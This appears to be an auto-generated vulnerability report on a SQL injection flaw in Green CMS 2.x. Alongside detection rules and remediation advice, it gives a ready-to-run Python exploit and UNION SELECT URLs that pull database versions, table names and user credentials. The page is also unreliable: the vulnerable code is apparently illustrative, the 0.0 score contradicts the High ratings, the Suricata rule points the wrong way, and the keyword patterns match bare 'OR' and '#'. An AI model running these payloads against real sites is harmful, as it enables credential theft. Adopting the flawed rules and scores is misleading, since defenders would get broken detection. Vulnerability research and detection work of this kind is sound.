CVE-2019-25573
Executive Summary
CVE-2019-25573 is an SQL injection vulnerability in Green CMS 2.x that allows authenticated attackers to execute arbitrary SQL queries. The flaw exists in the cat parameter when processing GET requests to index.php with m=admin, c=posts, a=index parameters. This vulnerability enables attackers to manipulate database queries and extract sensitive information from the underlying database.
The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation probability. However, the lack of a patch and public availability of exploit details make it a significant risk for any organization using Green CMS 2.x.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP CMS application.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Authenticated)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High (due to authenticated access requirement but potential for full database compromise)
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the cat parameter of Green CMS 2.x. The application fails to properly sanitize user input before incorporating it into SQL queries. The vulnerable endpoint is:
GET /index.php?m=admin&c=posts&a=index&cat=[INJECTION]
The cat parameter is directly concatenated into SQL queries without parameterization or escaping. An authenticated attacker can inject arbitrary SQL commands, potentially leading to:
- Extraction of user credentials (hashes)
- Access to configuration data
- Modification of database content
- Potential privilege escalation
The attack requires authentication, but once authenticated, the attacker can exploit the vulnerability with minimal effort.
Vulnerable vs. Patched Code
Vulnerable Code (Green CMS 2.x):
// Vulnerable: Direct concatenation of user input
$cat = $_GET['cat'];
$query = "SELECT * FROM posts WHERE category = '$cat'";
$result = mysqli_query($conn, $query);
Patched Code (Hypothetical):
// Patched: Using prepared statements
$cat = $_GET['cat'];
$stmt = $conn->prepare("SELECT * FROM posts WHERE category = ?");
$stmt->bind_param("s", $cat);
$stmt->execute();
$result = $stmt->get_result();
Exploitation & Lab Setup
Red Team
Exploit Code:
import requests
target = "http://target.com/index.php"
session = requests.Session()
# Authenticate first (example credentials)
login_data = {
"username": "admin",
"password": "password"
}
session.post(target, data=login_data)
# SQL injection payload
payload = "1' UNION SELECT username, password FROM users--"
params = {
"m": "admin",
"c": "posts",
"a": "index",
"cat": payload
}
response = session.get(target, params=params)
print(response.text)
Manual Exploitation:
-- Extract database version
http://target.com/index.php?m=admin&c=posts&a=index&cat=1' UNION SELECT @@version,2,3--
-- Extract table names
http://target.com/index.php?m=admin&c=posts&a=index&cat=1' UNION SELECT table_name,2,3 FROM information_schema.tables--
-- Extract user credentials
http://target.com/index.php?m=admin&c=posts&a=index&cat=1' UNION SELECT username,password,3 FROM users--
Blue Team
Detection Steps:
- Monitor for unusual SQL query patterns in database logs
- Look for GET requests with
catparameter containing SQL keywords (UNION, SELECT, OR, AND) - Check for authentication bypass attempts via SQL injection
- Review web server logs for suspicious
catparameter values
Honeypot Setup:
# Simple honeypot to detect SQL injection attempts
from flask import Flask, request
import re
app = Flask(__name__)
@app.route('/index.php')
def index():
cat = request.args.get('cat', '')
if re.search(r'(UNION|SELECT|OR|AND|--|#)', cat, re.IGNORECASE):
# Log the attack
with open('attacks.log', 'a') as f:
f.write(f"SQL injection attempt: {request.remote_addr} - {cat}\n")
return "Honeypot triggered"
return "Normal request"
if __name__ == '__main__':
app.run(debug=True)
Indicators of Compromise (IOCs)
Network IOCs:
- GET requests to
/index.phpwith parametersm=admin,c=posts,a=index, andcatcontaining SQL keywords - Unusual database error messages in HTTP responses
- High volume of requests to the vulnerable endpoint
File IOCs:
- Modified database entries (e.g., new admin users)
- Suspicious entries in web server access logs
- Presence of SQL injection tools on the server
Behavioral IOCs:
- Unauthorized database queries
- Unexpected database schema changes
- Unusual network traffic from the web server to external IPs
Detection Engineering
YARA Rule
rule Detect_GreenCMS_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts against Green CMS 2.x"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2019-25573"
strings:
$s1 = "cat=" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "OR" nocase
$s5 = "AND" nocase
$s6 = "--" nocase
$s7 = "#" nocase
condition:
all of ($s1, $s2, $s3) or
all of ($s1, $s4, $s5) or
all of ($s1, $s6) or
all of ($s1, $s7)
}
Sigma Rule
title: Green CMS SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Green CMS 2.x
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2019-25573
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'm=admin'
- 'c=posts'
- 'a=index'
- 'cat='
injection:
cs-uri-query|contains:
- 'UNION'
- 'SELECT'
- 'OR'
- 'AND'
- '--'
- '#'
condition: selection and injection
falsepositives:
- Legitimate use of SQL keywords in cat parameter (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2019-25573 - Green CMS SQL Injection Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"/index.php"; http_uri;
content:"m=admin"; http_uri;
content:"c=posts"; http_uri;
content:"a=index"; http_uri;
content:"cat="; http_uri;
pcre:"/(UNION|SELECT|OR|AND|--|#)/i";
sid:1000001;
rev:1;
reference:cve,2019-25573;
classtype:web-application-attack;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems: Disconnect Green CMS 2.x instances from the network if possible
- Apply input validation: Implement strict input validation for the
catparameter - Use prepared statements: Rewrite database queries to use parameterized statements
- Upgrade CMS: Migrate to a supported CMS version or alternative platform
Long-term Solutions:
- Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns
- Code review: Conduct thorough code review of all database interactions
- Security training: Train developers on secure coding practices
- Regular updates: Implement a patch management process
Workarounds:
- Disable the vulnerable functionality if not critical
- Implement a reverse proxy with SQL injection filtering
- Use database user with minimal privileges
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2019-25573